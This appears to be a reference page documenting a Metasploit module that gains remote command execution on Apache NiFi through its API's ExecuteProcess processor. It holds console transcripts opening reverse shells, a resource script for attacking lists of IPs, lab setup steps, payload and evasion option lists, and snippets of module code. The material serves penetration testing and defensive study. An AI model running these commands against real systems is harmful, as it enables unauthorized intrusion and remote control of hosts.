Apache NiFi API Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/apache_nifi_processor_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache NiFi API Remote Code Execution
Module: exploit/multi/http/apache_nifi_processor_rce
Source code: modules/exploits/multi/http/apache_nifi_processor_rce.rb
Disclosure date: 2020-10-03
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor processor is created then is configured with the payload and started. The processor is then stopped and deleted.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.

Basic Usage


Using apache_nifi_processor_rce against a single host

Normally, you can use exploit/multi/http/apache_nifi_processor_rce this way:

msf > use exploit/multi/http/apache_nifi_processor_rce
msf exploit(apache_nifi_processor_rce) > show targets
    ... a list of targets ...
msf exploit(apache_nifi_processor_rce) > set TARGET target-id
msf exploit(apache_nifi_processor_rce) > show options
    ... show and set options ...
msf exploit(apache_nifi_processor_rce) > exploit

Using apache_nifi_processor_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your apache_nifi_processor_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/apache_nifi_processor_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Apache NiFi is a tool that automates the flow of data between systems. It is written in Java and allows users to configure "dataflows" using the web UI or the API. The web UI uses the API behind the scenes. According to Wikipedia, it is based on "NiagaraFiles", which was developed by the NSA and open-sourced in 2014. This is where the name NiFi came from.

It can be downloaded from nifi.apache.org where source and compiled Java binaries are available that will run on Windows, Linux and MacOS. Older releases are also available and a docker image is also available from docker hub.

This exploit module uses the ExecuteProcess processor, which is part of the standard processors collection that is included with NiFi. It allows OS commands to be executed, by design. Other processors that can be used to execute code/commands are also included in the standard processors collection. These processors are all restricted components. ExecuteProcess was chosen because it is relatively simple to use, does not depend on any scripting languages being installed, and is not marked as "experimental".

Default configuration is to serve over plaintext HTTP and require no authentication. In this configuration it is not possible to configure any authorisation controls, therefore it is possible to interact with the application via the API without having to supply credentials.

It is possible (and recommended) to configure NiFi to require authentication, either by using ssl client certificates or other 3rd party authentication mechanisms. Once Authentication is enabled, authorisation can be configured to control which features are available to a specific user account.

If authentication and authorisation is enabled, the account used must have the following permissions in order to achieve remote command execution using this module:

  • Permission to "view" and "modify" the root controller.
  • Permmission to "access restricted components", "regardless of restrictions".

If authentication is required, then the USERNAME and PASSWORD options can be used to specify credentials. Alternatively, if a more complex authentication flow is required (such as OpenId Connect), or a session token has already been obtained, a session token in the form of a JWT can be set using the TOKEN option. This module does not support authentication using a client certificate.

Configuring a Vulnerable Environment

Windows


  1. Download the NiFi binaries zip file from nifi.apache.org.
  2. Extract the files.
  3. Start NiFi by running bin\run-nifi.bat.
  4. NiFi will be available over HTTP on port 8080 (be patient, NiFi takes some time to start).
  5. Disable Windows Defender so that it doesn't block Metasploit's reverse shell payload.

Linux/Unix


Without Authentication


  1. Download the NiFi binaries tar.gz file from nifi.apache.org.
  2. Extract the files.
  3. Start NiFi by running ./bin/nifi.sh start.
  4. NiFi will be available over HTTP on port 8080 (be patient, NiFi takes some time to start).

With Authentication


  1. Follow steps 1 to 4 above and confirm that NiFi is available on port 8080.
  2. Download the NiFi toolkit tar.gz from nifi.apache.org.
  3. Extract the files.
  4. Generate files for TLS configuration by running ./bin/tls-toolkit.sh standalone -n "localhost".
  5. Copy the files that were generated in step 4 to the NiFi conf directory, e.g. mv localhost/* ../nifi-1.12.0/conf/.
  6. Generate a client certificate by running ./bin/tls-toolkit.sh standalone -C "CN=my_username, OU=NiFi".
  7. Copy the .p12 and .password files that were generated in step 6 to the system with the browser that you will be using to access the NiFi web UI.
  8. Add the .p12 client certificate to the operating system/browser. The password for the certificate is inside the .password text file.
  9. Edit the authorizers.xml file in the conf directory (what you put in this file must match exactly what you used in step 6, including capitalisation and whitespace):
    1. Replace <property name="Initial User Identity 1"></property> in the userGroupProvider section with <property name="Initial User Identity 1">CN=my_username, OU=NiFi</property>.
    2. Replace <property name="Initial Admin Identity"></property> in the accessPolicyProvider section with <property name="Initial Admin Identity">CN=my_username, OU=NiFi</property>.
  10. Restart NiFi by running ./bin/nifi.sh restart.
  11. NiFi will be available over HTTPS (on the local machine only) on port 9443 (be patient, NiFi takes some time to start).
  12. Ensure that you can access the web UI and authenticate using the client certificate. If you do not have a web browser available on the system running NiFi, you will have to forward port 9443 to that system first, e.g. ssh -L 9443:127.0.0.1:9443 <username>@<host>. Once authenticated, the user that you configured when generating the certificate will be displayed in the top right of the UI.
  13. Click the hamburger button in the top right and select "Users".
  14. Add a user of cn=admin,dc=example,dc=org (this is the user that you will authenticate with using LDAP later).
  15. In the "Operate" panel on the left of the UI, click on the key icon to configure the access policies on the root component.
  16. Give the cn=admin,dc=example,dc=org user that was added in step 14 permission to view the component.
  17. Give the cn=admin,dc=example,dc=org user that was added in step 14 permission to modify the component and close the panel.
  18. Click the hamburger button in the top right and select "Policies".
  19. Give the cn=admin,dc=example,dc=org user that was added in step 14 permission to "access restricted components", "regardless of restrictions" and close the panel.
  20. Run OpenLDAP on the system. An easy way is to run docker run --name my-openldap -p 389:389 -p 636:636 -d osixia/openldap. This comes preconfigured with a user of admin with the password admin
  21. Edit the nifi.properties file in the conf directory:
    1. Replace the line nifi.security.user.login.identity.provider= with nifi.security.user.login.identity.provider=ldap-provider.
  22. Edit the login-identity-providers.xml file in the conf directory:
    1. Uncomment the<provider> element containing the ldap-provider settings.
    2. Replace <property name="Authentication Strategy">START_TLS</property> with <property name="Authentication Strategy">SIMPLE</property>.
    3. Replace <property name="Manager DN"></property> with <property name="Manager DN">cn=admin,dc=example,dc=org</property> what you put here must match exactly what you use in step 6, including capitalisation and whitespace.
    4. Replace <property name="Manager Password"></property> with <property name="Manager Password">admin</property>.
    5. Replace <property name="Url"></property> with <property name="Url">ldap://127.0.0.1</property>.
    6. Replace <property name="User Search Base"></property> with <property name="User Search Base">dc=example,dc=org</property>.
    7. Replace <property name="User Search Filter"></property> with <property name="User Search Filter">cn={0}</property>.
  23. Restart NiFi by running ./bin/nifi.sh restart.
  24. NiFi will be available over HTTPS (on the local machine only) on port 9443 (be patient, NiFi takes some time to start).
  25. Ensure that you can access the web UI and authenticate using the username admin and password of admin. Remember that in step 12 you may have needed to forward the port to the local machine. In order to be prompted for credentials, you must not authenticate using the certificate like you did in step 12. You may have to take steps to prevent your browser from automatically submitting the certificate, such as restarting the browser. A message will be displayed saying that you do not have permission to access the webUI. This is expected, and indicates that NiFi does recognise the account.

NiFi Getting Started (including installation on Windows/Linux/Unix).

NiFi Walkthroughs (including installation on Unix and enabling HTTPS).

NiFi, Authentication and Authorization (configuring LDAP authentication).

Verification Steps


  1. Install the application.
  2. Start msfconsole.
  3. Do: use exploit/multi/http/apache_nifi_processor_rce.
  4. Do: set rhosts <ip address of NiFi host>.
  5. Do: set lhost <ip address of metasploit machine.
  6. If necessary, do: set rport <port of NiFi API>.
  7. If necessary, do: set ssl true.
  8. If necessary, do: set username <NiFi username>.
  9. If necessary, do: set password <NiFi password>.
  10. If necessary, do: set target 1 (this sets the target to Windows instead of Unix).
  11. Do: run.
  12. You should get a shell.

Options


TARGETURI

The base NiFi API path. Default: /nifi-api.

DELAY

The delay in seconds before stopping and deleting the processor. This is required because the processor may not start immediately after being created. Default: 5.

USERNAME

Username to authenticate with, if necessary. Optional.

PASSWORD

Password to authenticate with, if necessary. Optional.

BEARER-TOKEN

JWT authenticate with, if necessary. Optional.

Scenarios


The version of NiFi that was installed on both platforms was 1.12.1.

Windows 10.0.18363 Pro (no authentication required)

$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set target 1
target => 1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 192.168.194.140
rhost => 192.168.194.140
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 192.168.194.140:8080 - The target appears to be vulnerable.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.140:50008) at 2020-10-03 13:17:58 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell cmd/windows  Microsoft Windows [Version 10.0.18363.1082] (c) 2019 Microsoft Corporation. A...  192.168.194.131:4444 -> 192.168.194.140:50008 (192.168.194.140)

Ubuntu Server 20.04.1 (authentication required)

It can be seen that it fails the first time because authentication is required, but succeeds after credentials are set.

$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rport 9443
rport => 9443
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 127.0.0.1:9443 - The service is running, but could not be validated.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[-] Exploit aborted due to failure: bad-config: Authentication is required. Bearer-Token or Username and Password must be specified
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/apache_nifi_processor_rce) > set username admin
username => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > set password admin
password => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:50802) at 2020-10-03 13:18:00 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell cmd/unix                                                                                       192.168.194.131:4444 -> 192.168.194.130:50802 (127.0.0.1)

Go back to menu.

Msfconsole Usage


Here is how the multi/http/apache_nifi_processor_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/apache_nifi_processor_rce

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_nifi_processor_rce) > show info

       Name: Apache NiFi API Remote Code Execution
     Module: exploit/multi/http/apache_nifi_processor_rce
   Platform: Unix, Linux, OSX, Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-03

Provided by:
  Graeme Robinson

Module side effects:
 ioc-in-logs
 config-changes

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   Windows (In-Memory)

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  BEARER-TOKEN                   no        JWT authenticate with
  DELAY         5                yes       The delay (s) before stopping and deleting the processor
  PASSWORD                       no        Password to authenticate with
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8080             yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /nifi-api        yes       The base path
  USERNAME                       no        Username to authenticate with
  VHOST                          no        HTTP server virtual host

Payload information:
  Avoid: 1 characters

Description:
  This module uses the NiFi API to create an ExecuteProcess processor 
  that will execute OS commands. The API must be unsecured (or 
  credentials provided) and the ExecuteProcess processor must be 
  available. An ExecuteProcessor processor is created then is 
  configured with the payload and started. The processor is then 
  stopped and deleted.

References:
  https://nifi.apache.org/
  https://github.com/apache/nifi
  https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/org.apache.nifi.processors.standard.ExecuteProcess/index.html

Module Options


This is a complete list of options available in the multi/http/apache_nifi_processor_rce exploit:

msf6 exploit(multi/http/apache_nifi_processor_rce) > show options

Module options (exploit/multi/http/apache_nifi_processor_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BEARER-TOKEN                   no        JWT authenticate with
   DELAY         5                yes       The delay (s) before stopping and deleting the processor
   PASSWORD                       no        Password to authenticate with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8080             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /nifi-api        yes       The base path
   USERNAME                       no        Username to authenticate with
   VHOST                          no        HTTP server virtual host

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

Advanced Options


Here is a complete list of advanced options supported by the multi/http/apache_nifi_processor_rce exploit:

msf6 exploit(multi/http/apache_nifi_processor_rce) > show advanced

Module advanced options (exploit/multi/http/apache_nifi_processor_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/apache_nifi_processor_rce module can exploit:

msf6 exploit(multi/http/apache_nifi_processor_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Windows (In-Memory)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_nifi_processor_rce exploit:

msf6 exploit(multi/http/apache_nifi_processor_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/apache_nifi_processor_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/apache_nifi_processor_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to retrieve HTTP response from API when <DESCRIPTION>


Here is a relevant code snippet related to the "Unable to retrieve HTTP response from API when <DESCRIPTION>" error message:

84:	    )
85:	  end
86:	
87:	  def check_response(description, response, expected_response_code, item = '')
88:	    # Check that response was received
89:	    fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response
90:	    # Check that response code was expected
91:	    if response.code != expected_response_code
92:	      fail_with(Failure::UnexpectedReply,
93:	                "Unexpected HTTP response code from API when #{description} " \
94:	                "(received #{response.code}, expected #{expected_response_code})")

Unable to retrieve <ITEM> from HTTP response when <DESCRIPTION>


Here is a relevant code snippet related to the "Unable to retrieve <ITEM> from HTTP response when <DESCRIPTION>" error message:

96:	    # Check that item can be retrieved
97:	    return if item.empty?
98:	
99:	    body = response.get_json_document
100:	    unless body.key?(item)
101:	      fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}")
102:	    end
103:	    body[item]
104:	  end
105:	
106:	  def supports_login

Specify EITHER Bearer-Token OR Username


Here is a relevant code snippet related to the "Specify EITHER Bearer-Token OR Username" error message:

217:	  end
218:	
219:	  def validate_config
220:	    return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty?
221:	
222:	    fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username')
223:	  end
224:	
225:	  def retrieve_token
226:	    response = send_request_cgi(
227:	      {

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Graeme Robinson

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.